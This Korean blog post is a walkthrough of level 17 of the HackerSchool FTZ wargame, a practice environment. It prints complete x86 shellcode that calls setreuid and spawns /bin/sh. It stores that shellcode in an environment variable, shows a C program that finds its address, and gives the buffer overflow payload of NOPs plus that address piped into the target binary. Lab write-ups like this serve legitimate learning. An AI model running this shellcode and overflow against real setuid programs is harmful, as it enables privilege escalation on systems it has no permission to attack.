ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 17
    Wargame/HackerSchool FTZ 2019. 2. 12. 09:14

    → 힌트 정보를 확인한다.




    → 16번 문제와 유사하지만, shell() 함수가 선언되지 않았다.


    → 매모리 맵 구조는 16번과 같으므로 바로 아래와 같이 그려진다.



    → shell() 함수가 존재하지 않으므로, 환경변수에 쉘코드를 넣은 후 실행하는 방식으로 해결한다.


    → 메모리 맵 구조에 의하면 NOP*40 + 환경변수 주소하면 페이로드 구성은 끝이다.


    → 먼저 환경변수에 쉘코드를 삽입한 후 주소를 구한다.


    export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')



    → 그리고, 해당 환경변수 SHELLCODE 의 주소를 구한다.


    #include <stdio.h>

    int main()

    {

            printf("addr: %p\n", getenv("SHELLCODE"));

            return 0;

    }




    → 환경변수 주소 값은 0xbffffc1d이다.


    → 공격을 시도한다.


    (python -c 'print "\x90"*40+"\x1d\xfc\xff\xbf"';cat)|./attackme



    'Wargame > HackerSchool FTZ' 카테고리의 다른 글

    lvl 19  (0) 2019.02.14
    lvl 18  (0) 2019.02.13
    lvl 16  (0) 2019.01.24
    lvl 15  (0) 2019.01.23
    lvl 14  (0) 2019.01.22

    댓글

Designed by Tistory.